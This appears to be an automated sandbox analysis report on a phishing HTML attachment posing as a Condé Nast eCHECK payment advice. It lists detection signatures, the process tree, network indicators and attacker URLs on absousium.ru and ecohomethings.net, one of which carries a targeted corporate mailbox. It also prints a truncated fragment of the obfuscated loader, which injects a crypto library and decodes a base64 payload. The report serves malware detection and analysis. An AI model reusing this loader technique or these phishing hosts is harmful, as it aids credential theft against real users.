Edit tour

Windows Analysis Report
Condenast eCHECK- Payment Advice.html

Overview

General Information

Sample name:	Condenast eCHECK- Payment Advice.html
Analysis ID:	1586430
MD5:	3fc9910d3d3ec599f303440ce7d892be
SHA1:	3474f3f444f5352b1776425c97ac55048a480b43
SHA256:	e6af2c642eef6cded87d61218773bcd4c7563939825fac64bbf40d29a9012d4b
Infos:

Detection

Score:	64
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

HTML file submission requesting Cloudflare captcha challenge

AI detected suspicious Javascript

Detected javascript redirector / loader

HTML document with suspicious name

HTML document with suspicious title

HTML body contains low number of good links

HTML page contains hidden javascript code

HTML title does not match URL

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Stores files to the Windows start menu directory

Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Uses insecure TLS / SSL version for HTTPS connection

Classification

Process Tree

System is w10x64

chrome.exe (PID: 5684 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\Condenast eCHECK- Payment Advice.html" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6196 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2152 --field-trial-handle=1948,i,17218853345926001592,13168728609757809945,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

AI detected suspicious Javascript

Source: 0.6.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://cciq.absousium.ru/o5b8DXA/#V#Xcuentasporpa... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. It collects user data and sends it to an untrusted domain, and it also attempts to bypass form submission. These behaviors are highly indicative of malicious intent, such as phishing or credential theft.
Source: 0.1.i.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: file:///C:/Users/user/Desktop/Condenast%20eCHECK... This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The use of obfuscated URLs and the aggressive manipulation of the DOM further increase the risk. While the script's intent is not entirely clear, the combination of these factors suggests a high likelihood of malicious activity, such as phishing or credential theft.
Source: 0.5.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://cciq.absousium.ru/o5b8DXA/#V#Xcuentasporpa... This script exhibits several high-risk behaviors, including disabling common developer tools and keyboard shortcuts, as well as redirecting the user to a suspicious domain (login.microsoftonline.com) after a specific time delay. The script appears to be attempting to prevent analysis and hide its true purpose, which is likely malicious.
Source: 1.2..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://ecohomethings.net/res444.php?2-68747470733... This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and the use of obfuscated code. While the script appears to be using legitimate cryptographic libraries, the overall behavior and lack of transparency raise significant security concerns.
Source: 0.4.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://cciq.absousium.ru/o5b8DXA/#V#Xcuentasporpa... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The use of obfuscated code and the presence of anti-debugging techniques further increase the risk. While the script may have some legitimate functionality, the overall behavior is highly suspicious and indicative of malicious intent.

Detected javascript redirector / loader

Source: Condenast eCHECK- Payment Advice.html

HTTP Parser: Low number of body elements: 0

HTML document with suspicious title

Source: file:///C:/Users/user/Desktop/Condenast%20eCHECK-%20Payment%20Advice.html

Tab title: Condenast eCHECK- Payment Advice.html

Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638719901339015637.ZjAyYzQ1M2ItZjE5Ny00NDA4LWIwZWQtOGE4NmM2ODAxN2ZkNjBlNzk5NTQtZmE5ZC00YzljLWIzYTEtNWNlMWZhNjk2MGY1&ui_locales=en-US&mkt=en-US&client-request-id=2bf61e76-fdf0-4525-bd22-d989efddc7cd&state=52SaClL53BMDr3JT8eYqegDxSyB2sED_tb1R7SKKuuguLemswB0bNE-eGyN42GyG9sV9eZsVn0A-qUFNkHvC_z_vIDp1FJrdhjOFiQU6BPobkxzXsBgmf7WEcS7BxrO1QvbFvCOJgDXsUd9NhqDGcts9wapgiRtSC7zU9_mjkFAlaXPPBqWAyjwqo5Zuqn8F_BmxwbWQS9AqK3IfOgiWZwW3qGPqNTwjsTCMpxhRJKhtkV342RnLyLeeA0VZN6jb3fx2dNNrT2exxbH3jLupBA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	HTTP Parser: Number of links: 0
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638719901339015637.ZjAyYzQ1M2ItZjE5Ny00NDA4LWIwZWQtOGE4NmM2ODAxN2ZkNjBlNzk5NTQtZmE5ZC00YzljLWIzYTEtNWNlMWZhNjk2MGY1&ui_locales=en-US&mkt=en-US&client-request-id=2bf61e76-fdf0-4525-bd22-d989efddc7cd&state=52SaClL53BMDr3JT8eYqegDxSyB2sED_tb1R7SKKuuguLemswB0bNE-eGyN42GyG9sV9eZsVn0A-qUFNkHvC_z_vIDp1FJrdhjOFiQU6BPobkxzXsBgmf7WEcS7BxrO1QvbFvCOJgDXsUd9NhqDGcts9wapgiRtSC7zU9_mjkFAlaXPPBqWAyjwqo5Zuqn8F_BmxwbWQS9AqK3IfOgiWZwW3qGPqNTwjsTCMpxhRJKhtkV342RnLyLeeA0VZN6jb3fx2dNNrT2exxbH3jLupBA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: Number of links: 0

Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638719901339015637.ZjAyYzQ1M2ItZjE5Ny00NDA4LWIwZWQtOGE4NmM2ODAxN2ZkNjBlNzk5NTQtZmE5ZC00YzljLWIzYTEtNWNlMWZhNjk2MGY1&ui_locales=en-US&mkt=en-US&client-request-id=2bf61e76-fdf0-4525-bd22-d989efddc7cd&state=52SaClL53BMDr3JT8eYqegDxSyB2sED_tb1R7SKKuuguLemswB0bNE-eGyN42GyG9sV9eZsVn0A-qUFNkHvC_z_vIDp1FJrdhjOFiQU6BPobkxzXsBgmf7WEcS7BxrO1QvbFvCOJgDXsUd9NhqDGcts9wapgiRtSC7zU9_mjkFAlaXPPBqWAyjwqo5Zuqn8F_BmxwbWQS9AqK3IfOgiWZwW3qGPqNTwjsTCMpxhRJKhtkV342RnLyLeeA0VZN6jb3fx2dNNrT2exxbH3jLupBA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0

HTTP Parser: Base64 decoded: f02c453b-f197-4408-b0ed-8a86c68017fd60e79954-fa9d-4c9c-b3a1-5ce1fa6960f5

Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638719901339015637.ZjAyYzQ1M2ItZjE5Ny00NDA4LWIwZWQtOGE4NmM2ODAxN2ZkNjBlNzk5NTQtZmE5ZC00YzljLWIzYTEtNWNlMWZhNjk2MGY1&ui_locales=en-US&mkt=en-US&client-request-id=2bf61e76-fdf0-4525-bd22-d989efddc7cd&state=52SaClL53BMDr3JT8eYqegDxSyB2sED_tb1R7SKKuuguLemswB0bNE-eGyN42GyG9sV9eZsVn0A-qUFNkHvC_z_vIDp1FJrdhjOFiQU6BPobkxzXsBgmf7WEcS7BxrO1QvbFvCOJgDXsUd9NhqDGcts9wapgiRtSC7zU9_mjkFAlaXPPBqWAyjwqo5Zuqn8F_BmxwbWQS9AqK3IfOgiWZwW3qGPqNTwjsTCMpxhRJKhtkV342RnLyLeeA0VZN6jb3fx2dNNrT2exxbH3jLupBA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	HTTP Parser: Title: Redirecting does not match URL
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638719901339015637.ZjAyYzQ1M2ItZjE5Ny00NDA4LWIwZWQtOGE4NmM2ODAxN2ZkNjBlNzk5NTQtZmE5ZC00YzljLWIzYTEtNWNlMWZhNjk2MGY1&ui_locales=en-US&mkt=en-US&client-request-id=2bf61e76-fdf0-4525-bd22-d989efddc7cd&state=52SaClL53BMDr3JT8eYqegDxSyB2sED_tb1R7SKKuuguLemswB0bNE-eGyN42GyG9sV9eZsVn0A-qUFNkHvC_z_vIDp1FJrdhjOFiQU6BPobkxzXsBgmf7WEcS7BxrO1QvbFvCOJgDXsUd9NhqDGcts9wapgiRtSC7zU9_mjkFAlaXPPBqWAyjwqo5Zuqn8F_BmxwbWQS9AqK3IfOgiWZwW3qGPqNTwjsTCMpxhRJKhtkV342RnLyLeeA0VZN6jb3fx2dNNrT2exxbH3jLupBA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: Title: Sign in to your account does not match URL

Source: https://ecohomethings.net/res444.php?2-68747470733a2f2f636369712e6162736f757369756d2e72752f6f3562384458412f-beech

HTTP Parser: var akaiwbawavinuezs = document.createelement("script");akaiwbawavinuezs.setattribute("src","https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js");document.head.append(akaiwbawavinuezs);akaiwbawavinuezs.onload=function(){var {a,b,c,d} = json.parse(atob("eyjhijoidkduchb5qulprutynmrzuud0bvk0sxnoq1vkumu2clrovgrlctzzrmtzt2fmrxzgcmnnm1yrovnwy00zaeu5yxnzdwdjuvb6rjhgcfewk2pun2o2dwq2q1jqm05owujedtlwcfuxt0d6nvfxsu8wuwnhdhjscun0a2xdxc84a0tsczdodhjrzwlkburmzeviqzrrculwxc9pww5lruoyy0mrwunnclixywzyvuc3wluwbzbpsug0euuwtvjhove1rtvcl1wvmlzkne1pofn0cklpdjbxcefhc0y2shbxqk54wdurdnvlrvjdbda4bhl0m3fpz3awc1jxc0ziuvfhaxf1etbvk3n3snj4tke3axowxc9xs2j0zxz5mlnyre9tbnnoemvmtmnmuvbky3fewgc5chbuaxbcl1pnrjfmwljqtg9swxhcawlqcvjjbvfrzjf2v2l1s0fbs3rocg9jrulfuw9yndjymxlxcurym1wvxc9zt0fkyvjoutvrbxrmz1zev0q1clmrzxjov05mwkrlamrgmkxyullccjlnvwncbtjaog1za2cwnzuxtwtzqwhymldoouhmv05jnet0cxmwvzhjs0tmwe9wswfosfwvm3pcyjfotjn1a2ewszzim2huqvzwstdvazrmazvkderkngrzednhykpclzvfmzq4nxi4u2rkn0rlb3jkchu3uwt6culwxc9stnq0rxhpujblb0...

HTTP Parser: <input type="password" .../> found

Source: Condenast eCHECK- Payment Advice.html	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/Condenast%20eCHECK-%20Payment%20Advice.html	HTTP Parser: No favicon
Source: https://cciq.absousium.ru/o5b8DXA/#V#Xcuentasporpagar@condenast.com.mx	HTTP Parser: No favicon
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638719901339015637.ZjAyYzQ1M2ItZjE5Ny00NDA4LWIwZWQtOGE4NmM2ODAxN2ZkNjBlNzk5NTQtZmE5ZC00YzljLWIzYTEtNWNlMWZhNjk2MGY1&ui_locales=en-US&mkt=en-US&client-request-id=2bf61e76-fdf0-4525-bd22-d989efddc7cd&state=52SaClL53BMDr3JT8eYqegDxSyB2sED_tb1R7SKKuuguLemswB0bNE-eGyN42GyG9sV9eZsVn0A-qUFNkHvC_z_vIDp1FJrdhjOFiQU6BPobkxzXsBgmf7WEcS7BxrO1QvbFvCOJgDXsUd9NhqDGcts9wapgiRtSC7zU9_mjkFAlaXPPBqWAyjwqo5Zuqn8F_BmxwbWQS9AqK3IfOgiWZwW3qGPqNTwjsTCMpxhRJKhtkV342RnLyLeeA0VZN6jb3fx2dNNrT2exxbH3jLupBA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	HTTP Parser: No favicon

Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638719901339015637.ZjAyYzQ1M2ItZjE5Ny00NDA4LWIwZWQtOGE4NmM2ODAxN2ZkNjBlNzk5NTQtZmE5ZC00YzljLWIzYTEtNWNlMWZhNjk2MGY1&ui_locales=en-US&mkt=en-US&client-request-id=2bf61e76-fdf0-4525-bd22-d989efddc7cd&state=52SaClL53BMDr3JT8eYqegDxSyB2sED_tb1R7SKKuuguLemswB0bNE-eGyN42GyG9sV9eZsVn0A-qUFNkHvC_z_vIDp1FJrdhjOFiQU6BPobkxzXsBgmf7WEcS7BxrO1QvbFvCOJgDXsUd9NhqDGcts9wapgiRtSC7zU9_mjkFAlaXPPBqWAyjwqo5Zuqn8F_BmxwbWQS9AqK3IfOgiWZwW3qGPqNTwjsTCMpxhRJKhtkV342RnLyLeeA0VZN6jb3fx2dNNrT2exxbH3jLupBA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	HTTP Parser: No <meta name="author".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638719901339015637.ZjAyYzQ1M2ItZjE5Ny00NDA4LWIwZWQtOGE4NmM2ODAxN2ZkNjBlNzk5NTQtZmE5ZC00YzljLWIzYTEtNWNlMWZhNjk2MGY1&ui_locales=en-US&mkt=en-US&client-request-id=2bf61e76-fdf0-4525-bd22-d989efddc7cd&state=52SaClL53BMDr3JT8eYqegDxSyB2sED_tb1R7SKKuuguLemswB0bNE-eGyN42GyG9sV9eZsVn0A-qUFNkHvC_z_vIDp1FJrdhjOFiQU6BPobkxzXsBgmf7WEcS7BxrO1QvbFvCOJgDXsUd9NhqDGcts9wapgiRtSC7zU9_mjkFAlaXPPBqWAyjwqo5Zuqn8F_BmxwbWQS9AqK3IfOgiWZwW3qGPqNTwjsTCMpxhRJKhtkV342RnLyLeeA0VZN6jb3fx2dNNrT2exxbH3jLupBA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638719901339015637.ZjAyYzQ1M2ItZjE5Ny00NDA4LWIwZWQtOGE4NmM2ODAxN2ZkNjBlNzk5NTQtZmE5ZC00YzljLWIzYTEtNWNlMWZhNjk2MGY1&ui_locales=en-US&mkt=en-US&client-request-id=2bf61e76-fdf0-4525-bd22-d989efddc7cd&state=52SaClL53BMDr3JT8eYqegDxSyB2sED_tb1R7SKKuuguLemswB0bNE-eGyN42GyG9sV9eZsVn0A-qUFNkHvC_z_vIDp1FJrdhjOFiQU6BPobkxzXsBgmf7WEcS7BxrO1QvbFvCOJgDXsUd9NhqDGcts9wapgiRtSC7zU9_mjkFAlaXPPBqWAyjwqo5Zuqn8F_BmxwbWQS9AqK3IfOgiWZwW3qGPqNTwjsTCMpxhRJKhtkV342RnLyLeeA0VZN6jb3fx2dNNrT2exxbH3jLupBA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638719901339015637.ZjAyYzQ1M2ItZjE5Ny00NDA4LWIwZWQtOGE4NmM2ODAxN2ZkNjBlNzk5NTQtZmE5ZC00YzljLWIzYTEtNWNlMWZhNjk2MGY1&ui_locales=en-US&mkt=en-US&client-request-id=2bf61e76-fdf0-4525-bd22-d989efddc7cd&state=52SaClL53BMDr3JT8eYqegDxSyB2sED_tb1R7SKKuuguLemswB0bNE-eGyN42GyG9sV9eZsVn0A-qUFNkHvC_z_vIDp1FJrdhjOFiQU6BPobkxzXsBgmf7WEcS7BxrO1QvbFvCOJgDXsUd9NhqDGcts9wapgiRtSC7zU9_mjkFAlaXPPBqWAyjwqo5Zuqn8F_BmxwbWQS9AqK3IfOgiWZwW3qGPqNTwjsTCMpxhRJKhtkV342RnLyLeeA0VZN6jb3fx2dNNrT2exxbH3jLupBA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="author".. found

Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638719901339015637.ZjAyYzQ1M2ItZjE5Ny00NDA4LWIwZWQtOGE4NmM2ODAxN2ZkNjBlNzk5NTQtZmE5ZC00YzljLWIzYTEtNWNlMWZhNjk2MGY1&ui_locales=en-US&mkt=en-US&client-request-id=2bf61e76-fdf0-4525-bd22-d989efddc7cd&state=52SaClL53BMDr3JT8eYqegDxSyB2sED_tb1R7SKKuuguLemswB0bNE-eGyN42GyG9sV9eZsVn0A-qUFNkHvC_z_vIDp1FJrdhjOFiQU6BPobkxzXsBgmf7WEcS7BxrO1QvbFvCOJgDXsUd9NhqDGcts9wapgiRtSC7zU9_mjkFAlaXPPBqWAyjwqo5Zuqn8F_BmxwbWQS9AqK3IfOgiWZwW3qGPqNTwjsTCMpxhRJKhtkV342RnLyLeeA0VZN6jb3fx2dNNrT2exxbH3jLupBA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	HTTP Parser: No <meta name="copyright".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638719901339015637.ZjAyYzQ1M2ItZjE5Ny00NDA4LWIwZWQtOGE4NmM2ODAxN2ZkNjBlNzk5NTQtZmE5ZC00YzljLWIzYTEtNWNlMWZhNjk2MGY1&ui_locales=en-US&mkt=en-US&client-request-id=2bf61e76-fdf0-4525-bd22-d989efddc7cd&state=52SaClL53BMDr3JT8eYqegDxSyB2sED_tb1R7SKKuuguLemswB0bNE-eGyN42GyG9sV9eZsVn0A-qUFNkHvC_z_vIDp1FJrdhjOFiQU6BPobkxzXsBgmf7WEcS7BxrO1QvbFvCOJgDXsUd9NhqDGcts9wapgiRtSC7zU9_mjkFAlaXPPBqWAyjwqo5Zuqn8F_BmxwbWQS9AqK3IfOgiWZwW3qGPqNTwjsTCMpxhRJKhtkV342RnLyLeeA0VZN6jb3fx2dNNrT2exxbH3jLupBA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638719901339015637.ZjAyYzQ1M2ItZjE5Ny00NDA4LWIwZWQtOGE4NmM2ODAxN2ZkNjBlNzk5NTQtZmE5ZC00YzljLWIzYTEtNWNlMWZhNjk2MGY1&ui_locales=en-US&mkt=en-US&client-request-id=2bf61e76-fdf0-4525-bd22-d989efddc7cd&state=52SaClL53BMDr3JT8eYqegDxSyB2sED_tb1R7SKKuuguLemswB0bNE-eGyN42GyG9sV9eZsVn0A-qUFNkHvC_z_vIDp1FJrdhjOFiQU6BPobkxzXsBgmf7WEcS7BxrO1QvbFvCOJgDXsUd9NhqDGcts9wapgiRtSC7zU9_mjkFAlaXPPBqWAyjwqo5Zuqn8F_BmxwbWQS9AqK3IfOgiWZwW3qGPqNTwjsTCMpxhRJKhtkV342RnLyLeeA0VZN6jb3fx2dNNrT2exxbH3jLupBA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638719901339015637.ZjAyYzQ1M2ItZjE5Ny00NDA4LWIwZWQtOGE4NmM2ODAxN2ZkNjBlNzk5NTQtZmE5ZC00YzljLWIzYTEtNWNlMWZhNjk2MGY1&ui_locales=en-US&mkt=en-US&client-request-id=2bf61e76-fdf0-4525-bd22-d989efddc7cd&state=52SaClL53BMDr3JT8eYqegDxSyB2sED_tb1R7SKKuuguLemswB0bNE-eGyN42GyG9sV9eZsVn0A-qUFNkHvC_z_vIDp1FJrdhjOFiQU6BPobkxzXsBgmf7WEcS7BxrO1QvbFvCOJgDXsUd9NhqDGcts9wapgiRtSC7zU9_mjkFAlaXPPBqWAyjwqo5Zuqn8F_BmxwbWQS9AqK3IfOgiWZwW3qGPqNTwjsTCMpxhRJKhtkV342RnLyLeeA0VZN6jb3fx2dNNrT2exxbH3jLupBA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="copyright".. found

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49740 version: TLS 1.0

Source: Joe Sandbox View	IP Address: 104.18.94.41 104.18.94.41
Source: Joe Sandbox View	IP Address: 151.101.130.137 151.101.130.137
Source: Joe Sandbox View	IP Address: 151.101.130.137 151.101.130.137
Source: Joe Sandbox View	IP Address: 104.17.24.14 104.17.24.14

Source: Joe Sandbox View

JA3 fingerprint: 1138de370e523e824bbca92d049a3777

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49740 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /res444.php?2-68747470733a2f2f636369712e6162736f757369756d2e72752f6f3562384458412f-beech HTTP/1.1Host: ecohomethings.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /res444.php?2-68747470733a2f2f636369712e6162736f757369756d2e72752f6f3562384458412f-beech HTTP/1.1Host: ecohomethings.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
